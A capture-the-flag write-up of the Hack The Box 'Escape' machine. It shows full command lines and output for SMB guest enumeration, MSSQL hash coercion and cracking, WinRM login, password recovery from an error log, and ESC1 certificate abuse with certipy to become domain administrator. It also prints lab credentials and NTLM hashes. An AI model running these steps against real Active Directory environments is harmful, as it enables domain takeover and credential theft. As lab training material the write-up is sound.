Overview

The machine starts by SMB guest enumeration that discovers a public share with a PDF leaking MSSQL credentials, logging in as PublicUser and triggering xp_dirtree to capture the sql_svc NTLMv2 hash and crack it to get winrm access, then reading the MSSQL ERRORLOG.BAK to find ryan.cooper's password typed in the wrong field, logging in as ryan.cooper and finding a vulnerable ADCS template allowing ESC1 to request a certificate with administrator UPN and authenticate as domain admin to get root.

Enumeration

as usual we're gonna start with nmap scan

As you can see this is AD environment with SMB, Kerberos, LDAP and RPC ports open but we need to focus on

  • domain name is sequel.htb and the hostname is DC so the FQDN is DC.sequel.htb so add them to the hosts file
  • there is AD CS in place with the CA sequel-DC-CA
  • there is a big clock skew so we need to sync our clocks if we are gonna deal with any Kerberos Authentication

Lets setup the environment

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ echo '10.129.228.253 DC DC.sequel.htb sequel.htb' | sudo tee -a /etc/hosts
10.129.228.253 DC DC.sequel.htb sequel.htb
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ nxc smb sequel.htb -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.228.253 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.253 445 DC [+] krb5 conf saved to: krb5.conf
SMB 10.129.228.253 445 DC [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.228.253 445 DC [+] sequel.htb\:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ sudo ntpdate sequel.htb 
2026-06-03 07:06:04.391039 (-0700) +28799.977949 +/- 0.036864 sequel.htb 10.129.228.253 s1 no-leap
CLOCK: time stepped by 28799.977949

when we were generating the krb5 file we saw that the Null Auth on SMB is True so lets see what we can read with that Auth

Public Share

and we aren't allowed to list shares with no username but the Guest account can

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ nxc smb sequel.htb -u '' -p '' --shares
SMB 10.129.228.253 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.253 445 DC [+] sequel.htb\:
SMB 10.129.228.253 445 DC [-] Error enumerating shares: STATUS_ACCESS_DENIED
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ nxc smb sequel.htb -u 'Guest' -p '' --shares
SMB 10.129.228.253 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.253 445 DC [+] sequel.htb\Guest:
SMB 10.129.228.253 445 DC [*] Enumerated shares
SMB 10.129.228.253 445 DC Share Permissions Remark
SMB 10.129.228.253 445 DC ----- ----------- ------
SMB 10.129.228.253 445 DC ADMIN$ Remote Admin
SMB 10.129.228.253 445 DC C$ Default share
SMB 10.129.228.253 445 DC IPC$ READ Remote IPC
SMB 10.129.228.253 445 DC NETLOGON Logon server share
SMB 10.129.228.253 445 DC Public READ
SMB 10.129.228.253 445 DC SYSVOL Logon server share

and we got a file called SQL Server Procedures

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ smbclient //sequel.htb/Public -U'Guest'%''
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 19 03:51:25 2022
  ..                                  D        0  Sat Nov 19 03:51:25 2022
  SQL Server Procedures.pdf A 49551 Fri Nov 18 05:39:43 2022

                5184255 blocks of size 4096. 1463116 blocks available
smb: \> get SQL Server Procedures.pdf sql.pdf
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \SQL
smb: \> get SQL Server Procedures.pdf
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \SQL
smb: \> mget *
Get file SQL Server Procedures.pdf? y
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (68.5 KiloBytes/sec) (average 68.5 KiloBytes/sec)

by looking at the file we've got two good piece of information

  1. there is someone called Brandon and we might need that username later
  2. there is credential for the PublicUser who appearently can access the Database so lets sign in with that user ss_20260603_071027.png

MSSQL as PublicUser

Lets login

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ mssqlclient.py sequel.htb/PublicUser:'GuestUserCantWrite1'@10.129.228.253
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (PublicUser guest@master)>

after some enumeration, there is nothing else we can do except trying to force authentication back to us using xp_dirtree to get the NTLMv2 hash and try to crack it usually we'd do this if we know that the user running the mssql matters but in this case we don't have anything to go on so have to do it blindly ss_20260603_071808.png

Lets crack this hash

and we got a password for the user SQL_SVC:REGGIE1234ronnie at this point there is a lot we can do

  1. we can find what kind of permissions we got over MSSQL when we login with that user instead of the PublicUser
  2. we can test it against LDAP and if it works run bloodhound

the mssql path didn't work we still can't enable shell commands, we can try to do more enumeration but we won't go through this now and I will take the LDAP path cause it is always useful

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ nxc mssql sequel.htb -u 'SQL_SVC' -p 'REGGIE1234ronnie' -M enable_cmdshell -o ACTION=enable
MSSQL 10.129.228.253 1433 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (EncryptionReq:False)
MSSQL 10.129.228.253 1433 DC [+] sequel.htb\SQL_SVC:REGGIE1234ronnie
ENABLE_C... 10.129.228.253  1433   DC               [-] Failed to enable xp_cmdshell: ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement.
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ nxc ldap sequel.htb -u 'SQL_SVC' -p 'REGGIE1234ronnie'
LDAP 10.129.228.253 389 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb) (signing:Enforced) (channel binding:Never)
LDAP 10.129.228.253 389 DC [+] sequel.htb\SQL_SVC:REGGIE1234ronnie

I will get a TGT first for this user and use it in enumeration and we got bloodhound data as you can see so lets ingest and see what happens

after looking at the SQL_SVC user in bloodhound turned out he is member of Remote Management Users so lets login via WINRM Pasted image 20260603105942.png

winrm check and login

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ nxc winrm sequel.htb -u 'SQL_SVC' -p 'REGGIE1234ronnie'
WINRM 10.129.228.253 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb)
WINRM 10.129.228.253 5985 DC [+] sequel.htb\SQL_SVC:REGGIE1234ronnie (Pwn3d!)
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ evil-winrm -i sequel.htb -u 'SQL_SVC' -p 'REGGIE1234ronnie'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents>

After logging in and looking around I found that there is a user called Ryan.Cooper on the machine but nothing else was there so I wondered who setup this SQL_SVC account, and whoever set it up may reused his own password so lets get a list of users and try the password against them

So i tried it but nothing came back

I went back to the shell again because i didn't notice this ERRORLOG.bak file What happens sometimes that people might type summer2024 instead of summer2025 for example so it is considered a wrong password and it gets logged so before looking at this file I hoped to find this but lets take a look at it

bash
*Evil-WinRM* PS C:\> cd SQLServer
*Evil-WinRM* PS C:\SQLServer> ls


    Directory: C:\SQLServer


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:06 AM Logs
d----- 11/18/2022 1:37 PM SQLEXPR_2019
-a---- 11/18/2022 1:35 PM 6379936 sqlexpress.exe
-a---- 11/18/2022 1:36 PM 268090448 SQLEXPR_x64_ENU.exe


*Evil-WinRM* PS C:\SQLServer> cd Logs
*Evil-WinRM* PS C:\SQLServer\Logs> ls


    Directory: C:\SQLServer\Logs


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK

looking at the file I found this there is a failed login for a user that doesn't exist on the AD cause we got a list of users so maybe Ryan.Cooper entered his password in the username field by mistake lets try this

plaintext
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [
CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8. 
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT
: 127.0.0.1]

I guessed Ryan.Cooper cause he is the one that got another logon failure above it but if it didn't work we would do another password spray

and as expected it is his password so lets login for user flag

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ nxc smb sequel.htb -u ryan.cooper -p 'NuclearMosquito3'
SMB 10.129.228.253 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.253 445 DC [+] sequel.htb\ryan.cooper:NuclearMosquito3

Shell as Ryan.Cooper

and we've got user flag ss_20260603_081451.png

Tried to look around for any permissions or rbcd that ryan.cooper got but i found nothing so i went back to mssql to check if he can impersonate any user but still no but i Remembered that there is ADCS in place so I figured let's see if we can do anything using ryan.cooper

So let's check vulnerable templates

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ certipy find -dc-ip 10.129.228.253 -u ryan.cooper -p 'NuclearMosquito3' -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'sequel-DC-CA' via RRP
[*] Successfully retrieved CA configuration for 'sequel-DC-CA'
[*] Checking web enrollment for CA 'sequel-DC-CA' @ 'dc.sequel.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260603082532_Certipy.txt'
[*] Wrote text output to '20260603082532_Certipy.txt'
[*] Saving JSON output to '20260603082532_Certipy.json'
[*] Wrote JSON output to '20260603082532_Certipy.json'          

and looking at this template which is vulnerable to ESC1 which is a simple way to get administrator on any domain and all Domain Users Group can Enroll in this so I guess any user can abuse this and I'll test this after we get root

ESC1

ESC1 attack happens because of critical configuration flaws in Microsoft Active Directory Certificate Services (AD CS) that allow low-privileged users to impersonate high-privilege accounts, such as a Domain Admin

First we'll request a certificate and inject a high target UPN inside it like administrator

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ certipy req -u ryan.cooper -p NuclearMosquito3 -dc-ip 10.129.228.253 -target DC.sequel.htb -ca 'sequel-DC-CA' -template UserAuthentication -upn 'administrator@sequel.htb'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

then we authenticate with the certificate we got which will get us Tgt for administrator but as an extra step certipy always tries to get NTLM hash of the account and it got it for us so lets login and get root

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ certipy auth -pfx administrator.pfx -dc-ip 10.129.228.253
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

and we got root ss_20260603_083546.png

Beyond root

Really domain users can enroll ?

even though all users can enroll but i guess SQL_SVC has a targeted deny cause he couldn't read the vulnerable template

and this is confirmed by getting this one more thing i can try is to dump all hashes in the domain and try using another user

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ certipy req -u SQL_SVC -p REGGIE1234ronnie -dc-ip 10.129.228.253 -target DC.sequel.htb -ca 'sequel-DC-CA' -template UserAuthentication -upn 'administrator@sequel.htb'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 14
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): N
[-] Failed to request certificate

I dumped the domain hashes

and as you can see the user Brandon.Brown can do this so basically anyone in the domain but SQL_SVC can do this

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/escape]
└──╼ [★]$ certipy req -u Brandon.Brown -hashes :f562f509ad646c666f83b45f90a58af3 -dc-ip 10.129.228.253 -target DC.sequel.htb -ca 'sequel-DC-CA' -template UserAuthentication -upn 'administrator@sequel.htb'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 15
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'

One more take

I guess what delayed me thinking about ADCS is that i didn't run SharpHound on winrm once i got ryan user cause i always do SharpHound is so much better at dealing with ADCS stuff than any other ingester so Let's take a look at whether things could have been different

upload and run SharpHound

bash
*Evil-WinRM* PS C:\Users\ryan.cooper\desktop> ./SharpHound -c All
2026-06-03T08:47:37.5113876-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-06-03T08:47:37.5270144-07:00|INFORMATION|SharpHound Version: 2.11.0.0
2026-06-03T08:47:37.5270144-07:00|INFORMATION|SharpHound Common Version: 4.6.0.0
2026-06-03T08:47:37.6832829-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-06-03T08:47:37.7614503-07:00|INFORMATION|Initializing SharpHound at 8:47 AM on 6/3/2026
2026-06-03T08:47:38.0270563-07:00|INFORMATION|Resolved current domain to sequel.htb
2026-06-03T08:47:38.3238952-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-06-03T08:47:38.4176639-07:00|INFORMATION|Beginning LDAP search for sequel.htb
2026-06-03T08:47:38.4176639-07:00|INFORMATION|Collecting AdminSDHolder data for sequel.htb
2026-06-03T08:47:38.4957751-07:00|INFORMATION|AdminSDHolder ACL hash 8A70E9CD9E9C7A5540C9B0CBACF5A56E0BDBEB24 calculated for sequel.htb. < SNIP>
2026-06-03T08:47:49.9645241-07:00|INFORMATION|Saving cache with stats: 18 ID to type mappings.
 1 name to SID mappings.               
 1 machine sid mappings.
 4 sid to domain mappings.
 0 global catalog mappings.
2026-06-03T08:47:49.9801771-07:00|INFORMATION|SharpHound Enumeration Completed at 8:47 AM on 6/3/2026! Happy Graphing!

and as you can see here is the difference Pasted image 20260603111036.png now ryan.cooper got 6 outbound controls for 0 before SharpHound

Resources